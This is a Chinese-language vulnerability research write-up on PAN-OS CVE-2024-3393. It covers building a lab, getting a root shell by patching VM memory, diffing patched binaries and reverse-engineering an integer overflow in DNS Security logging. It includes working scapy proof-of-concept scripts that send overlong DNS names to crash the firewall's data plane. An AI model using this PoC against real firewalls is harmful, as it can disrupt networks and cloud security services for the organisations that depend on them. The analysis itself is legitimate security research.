【二进制漏洞- 关于PAN-OS DoS(CVE-2024-3393)的研究】此文章归类为:二进制漏洞。
前几天Palo Alto发布了一项漏洞通告[1],看漏洞信息是PAN-OS数据平面处理流量时产生DoS,其实之前PAN-OS也有过这样的DoS漏洞。但令笔者好奇的是,这次居然会影响Prisma Access,这款产品是Palo Alto公司实现零信任的关键组件,遂准备花些时间去做一下相关的复现。
0x00 漏洞描述分析
从描述中可以看出这是一个由DNS安全检测产生的漏洞,并且官方明确表示只有开启DNS Security才会产生。但不幸的是,这个功能需要购买相关的DNS Security License才能激活,这个暂且不做讨论,后续会有绕过的办法。而且,还关注到最重要的一点
它需要开启DNS Security Logging,也就是说很大概率是因为某些log记录时出现了fault。
那么现在得到的信息有以下几个:
- 首先这是防火墙数据平面处理流量产生的问题,并不涉及之前的Web管理口(CVE-2024-0012,CVE-2024-9474),VPN口(CVE-2024-3400)等其他服务。
- 其次是DNS安全检测产生的,并且有可能时处理DNS Security Log产生的。
由于已经有了新的补丁,所以复现手法以diff为主。
0x01 环境搭建
根据上面的影响版本,笔者这里选择了PAN-OS 10.2.9-h19和PAN-OS 10.2.9-h18进行diff,可以看到新版本也只修复这一个CVE
1. 防火墙设置
首先需要设置DNS Security相关配置,主要在Anti-Spyware Profile中设置,如下图,重点是log serverity,这个就是漏洞描述中log部分。
之后把这个用到策略上就可以
上述防火墙配置就完成了,当然还有一些网口配置这些都是最基础的,可以自行配置。
2. shell获取
由于采用虚拟机,所以获取shell还是比较容易的,这里采用patch vm mem的方法。
具体操作如下:
将虚拟机挂起,会有一个后缀名为vmem的文件,之后需要将内存中的一部分内容替换。具体替换内容是将root改成空密码,这样CLI登录root的时候就不需要密码,并且拿到的是shell。
1 2 3 4 | Find:
root:x:0:0:root: /root : /bin/bash
Replace:
root::0:0:root: /root : //bin/bash
|
这里注意替换字节要一样,否在虚拟机就起不来了。最终效果如下图,之后改了root密码,就可以用远程22端口登录了。
0x02 diff分析
首先需要找到处理数据平面的进程,从[2][3][4]可以得到PAN_OS各个进程的信息,虽然版本有点老,但一些关键进程还是没有改变的。
从图中可以看出,data plane的主要处理进程就是pan_task。在虚拟机中也可以找到相应的进程。
之后就可以直接进行diff了,这里用bindiff,也可以用Diaphora等diff工具,具体结果如下
看到有一个log函数改动较大,并且非常符合漏洞的描述,打开IDA,反汇编看一下
发现对内存操作进行较大改动,如果会产生dos,那么很大概率是计算size的时候出现了问题,但实际上旧版本size反汇编的结果很抽象,经过了一系列运算才得出一个结果,接下来就需要去逆向了。
0x03 逆向分析
首先需要触发这个流程。但前文提到DNS security需要license,这里发现这个DNS Security的开关会由pan_task
结构体中的一个数据影响。
在pan_task
中会通过cfg_data
获取相关DNS License。
默认没有license时,图中cloud_dns_license
的值为0,当图中cfg_data的cloud_dns_license
的值为1时,DNS Security将会开启,当我们发送一个解析恶意地址的DNS数据包就会拦截。
这里解析的域名选用Palo Alto的测试域名[5]test-grayware.testpanw.com
,构造数据包采用python
构造
1 2 3 4 5 6 7 8 | from scapy. all import *
target_dns_server = "8.8.8.8"
dns_request = IP(dst = target_dns_server) / UDP(dport = 53 , sport = RandShort()) / DNS(
rd = 1 ,
qd = DNSQR(qname = "test-grayware.testpanw.com" , qtype = "A" )
)
send(dns_request)
|
最终我们可以在威胁中定位到相关dns包被拦截
之后在pan_task
中打函数断点pan_log_send_threat_log
也可以停下来,说明走进了正确流程。
从gdb调试中不难看到,filename
或者url
其实就是我们解析的域名,并且在后续内存操作中,也是对这两个变量操作的地方进行了patch
,那么考虑一下如果域名过长会不会导致crash。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | from scapy. all import *
import random
import string
def generate_random_string(i):
characters = string.ascii_letters + string.digits
random_string = ''.join(random.choice(characters) for _ in range (i))
return random_string
target_dns_server = "8.8.8.8"
for i in range ( 0 , 2048 ):
rand_str = generate_random_string(i) + ".test-grayware.testpanw.com"
dns_request = IP(dst = target_dns_server) / UDP(dport = 53 , sport = RandShort()) / DNS(
rd = 1 ,
qd = DNSQR(qname = rand_str, qtype = "A" )
)
send(dns_request)
print ( "packet data:{}" . format (rand_str))
|
跑完一轮之后发现并没有crash
,其实熟悉DNS协议的人可能一眼就看到了其中问题,当DNS域名过长时,实际的DNS数据包发送的数据并不是我们想要的域名。
这是我们发送的其中一个数据包
可以看到实际发送的域名并不是我们想要发送的域名。
这里补充一些关于DNS协议的东西,DNS请求主要由DNS header和DNS Queries组成,其中重点关于DNS Queries,它主要包含以下几部分
字段 |
长度 (字节) |
描述 |
QNAME |
可变 |
查询的域名,使用标签格式(长度+字符)表示 |
QTYPE |
2 |
查询类型,例如 A(地址)、MX(邮件交换)、CNAME(别名)等 |
QCLASS |
2 |
查询类,通常为 1(IN)表示互联网查询 |
其中QNAME就是请求的域名,在请求域名中遵循以下规则: |
|
|
- 域名以标签的形式编码。每个标签的第一个字节是该标签的长度,后跟标签的内容。标签的长度最大为 63 字节,标签和标签之间使用长度字节进行分隔。
- 域名的结尾使用
00
来标示,表示这是域名的结束。
- 例如,
www.example.com
会被表示为:03 77 77 77 07 65 78 61 6D 70 6C 65 03 63 6F 6D 00
。
可以看到我们构造的域名是有问题的。
0x04 POC
所以按如下构造poc,那么产生的域名应该是足够长的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | from scapy. all import *
import random
import string
def generate_random_string(i):
characters = string.ascii_letters + string.digits
random_string = ''.join(random.choice(characters) for _ in range (i))
return random_string
def generate_dns_name():
dns_name = ""
for i in range ( 5 ):
dns_name = dns_name + generate_random_string( 63 ) + "."
return dns_name
target_dns_server = "8.8.8.8"
rand_str = generate_dns_name() + "test-grayware.testpanw.com"
dns_request = IP(dst = target_dns_server) / UDP(dport = 53 , sport = RandShort()) / DNS(
rd = 1 ,
qd = DNSQR(qname = rand_str, qtype = "A" )
)
print ( "Try this payload {}" . format (rand_str))
send(dns_request)
|
最终导致了memcpy
溢出
1. POC分析
那么问题来了,这个size是如何产生的?
断点打到000055555574F3DB
,发现rax=0也就是v39=0,实际上应该是filename_len+1
继续往上看发现v39 = 0xff + 1 = 0x100
但查看汇编时发现了不一样的东西
这里v39 = eax + 1 = 0xff + 1 = 0x100
,但在下一个汇编只是移动了al
,那么v39 = 0x00 = 0
,所以下面的size变成0 - 1 = 0xffffffff
也就顺理成章了,至此分析完毕。
2. 漏洞模式
所以这个漏洞本质上是由于整数溢出导致size计算错误而后续溢出。
3. patch分析
在新版本中更新了size的大小为uint16
0x05 总结
由于这个漏洞不仅会影响防火墙,还会影响Prisma Access,个人认为影响还是比较大的。毕竟Prisma Access是云上服务产品,如果一个公司使用该产品构建整个网络,那么通过这个漏洞就可以让云上产品直接崩溃,导致公司内网瘫痪。
此外我们可以发现以往的漏洞都是出现在管理口和VPN口,或许数据平面也是一个不错的攻击面?
参考
- https://security.paloaltonetworks.com/CVE-2024-3393
- https://www.reddit.com/r/paloaltonetworks/comments/a6zuvr/globalprotect_and_various_daemons/
- https://knowledgebase.paloaltonetworks.com/KCSArticleDetail?id=kA10g000000PLUeCAO
- https://knowledgebase.paloaltonetworks.com/KCSArticleDetail?id=kA10g000000ClVHCA0
- https://docs.paloaltonetworks.com/dns-security/administration/configure-dns-security/dns-security-test-domains
更多【二进制漏洞- 关于PAN-OS DoS(CVE-2024-3393)的研究】相关视频教程:www.yxfzedu.com